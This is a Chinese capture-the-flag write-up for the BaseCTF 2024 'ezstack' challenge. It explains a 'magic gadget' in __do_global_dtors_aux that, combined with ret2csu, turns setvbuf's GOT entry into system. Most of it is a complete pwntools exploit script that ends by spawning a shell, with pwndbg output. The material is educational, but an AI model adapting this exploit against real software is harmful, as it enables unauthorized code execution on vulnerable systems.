爱来自gets师傅

什么是magic_gadget

magic gadget其实是一类gadget的统称,指可以巧妙地实现某些目的的gadget。这里要讲的gadget只是众多magic gadget中的其中一个,可以在没法泄露libc地址的时候达到能够使用libc地址的目的。

这里要讲的gadget位于程序的__do_global_dtors_aux函数中,偏移是0x18。

1
add     [rbp-3Dh], ebx

在IDA正常反编译下是看不到这个gadget的,只有重新在0x18处反汇编才能看到。显然,这个gadget可以实现在某一个栈上数据加上一个偏移。假如在rbp-0x3D处存在一个libc地址,并且这个地址每次运行都是一样的(相对偏移),那么我就可以通过控制ebx寄存器,使用这个gadget把那个libc地址变成ogg或者system,从而返回获得一个shell。

但是很显然,rbp-0x3D很难直接是一个返回地址,就算是被调用者的返回地址,也会被覆盖。

如果能知道栈地址,劫持rbp进行栈迁移也许是个不错的选择,但是本来就是在没法泄露地址的情况(一般是连输出函数都没有但是又有栈溢出的情况),所以这个压根没机会。比较常见的使用方法是:

  1. 如果没有开full relro,劫持rbp到got表,修改got表后进行rop。
  2. 如果没有开地址随机化,可以栈迁移到bss段,然后调用libc_start_main在bss段上留下libc地址,然后再劫持rbp到那个地址的相应偏移处(依然在bss),修改某个libc地址为ogg或者system后ROP。

2024 BaseCTF ezstack

这道题,爱来自gets师傅(

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+18h] [rbp-8h] BYREF

init(argc, argv, envp);
gets(v4);
return 0;
}

程序除了一个gets函数之外就什么都没有了。没有输出函数。靶机环境是2.35的,但是程序里出现了csu,这应该是出题人故意留的gadget(爱来自gets),刚好符合上面讲到的无输出函数的情况。我们来详细分析一下这题的做题步骤。

首先检查程序的保护情况,发现PIE没开,partial relro,所以优先考虑劫持got表。got表中可以供我们选择的函数并不多,gets函数我们还需要用它来传payload和binsh字符串,所以我们劫持setvbuf这个函数为system。

已经确定要使用add [rbp-3Dh], ebx这个gadget,先看我们需要控制什么寄存器。首先rbp需要劫持为setvbuf的got表地址+0x3D,ebx应该存setvbuf与system两个函数在libc中的偏移,这样我们就能通过add将setvbuf的got表指向system。

我们利用ret2csu来控制寄存器,实际上我们只需要其中一段就够了

1
2
3
4
5
6
7
.text:00000000004006EA                 pop     rbx
.text:00000000004006EB pop rbp
.text:00000000004006EC pop r12
.text:00000000004006EE pop r13
.text:00000000004006F0 pop r14
.text:00000000004006F2 pop r15
.text:00000000004006F4 retn

前面两个就已经能够控制rbx和rbp了,其他都无所谓。于是写出脚本:

1
2
3
4
5
6
7
xor_off = (-0x30880) & 0xffffffffffffffff #setvbuf和system之间的偏移,注意符号

payload = b'a'*0x8 + p64(buf_address)
payload += p64(gadget_reg)
payload += p64(0xfffffffffffcf780) # xor_off
payload += p64(e.got['setvbuf']+0x3d)
payload += p64(0)*4

buf_address处实际上写什么都无所谓。关于偏移的计算,可以手动在libc中查找后计算,也可以借助pwndbg来进行计算

1
2
3
4
5
6
pwndbg> p setvbuf
$3 = {int (FILE *, char *, int, size_t)} 0x7fb610a4b5f0 <__GI__IO_setvbuf>
pwndbg> p system
$4 = {int (const char *)} 0x7fb610a1ad70 <__libc_system>
pwndbg> distance 0x7fb610a4b5f0 0x7fb610a1ad70
0x7fb610a4b5f0->0x7fb610a1ad70 is -0x30880 bytes (-0x6110 words)

设置好寄存器之后就执行magic gadget。然后这时候setvbuf的got表就已经变成了system了,我们断点动调看看。劫持后的got表

确实劫持成功了。那接下来就是正常的ROP了,我们先利用gets函数把binsh写进到bss段,然后再传参执行system即可。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
# r = remote('challenge.basectf.fun', 30854)
r = process('./pwn')
e = ELF('./pwn')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

gadget_reg = 0x4006EA
gadget_call = 0x4006D0
magic_gadget = 0x4005D8
rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
leave_ret = 0x40068c
buf_address = e.bss() + 0x500
fini = 0x400700
init = 0x400690
main = 0x40065D

xor_off = (-0x30880) & 0xffffffffffffffff
print(hex(18446744073709352832))

payload = b'a'*0x8 + p64(buf_address)
payload += p64(gadget_reg)
payload += p64(0xfffffffffffcf780) # xor_off
payload += p64(e.got['setvbuf']+0x3d)
payload += p64(0)*4
payload += p64(magic_gadget)
payload += p64(rdi)+p64(buf_address)+p64(e.plt['gets'])
payload += p64(rdi)+p64(buf_address)+p64(e.plt['setvbuf'])
r.sendline(payload)
r.sendline(b'/bin/sh\x00')
# gdb.attach(r)
r.interactive()
⬆︎TOP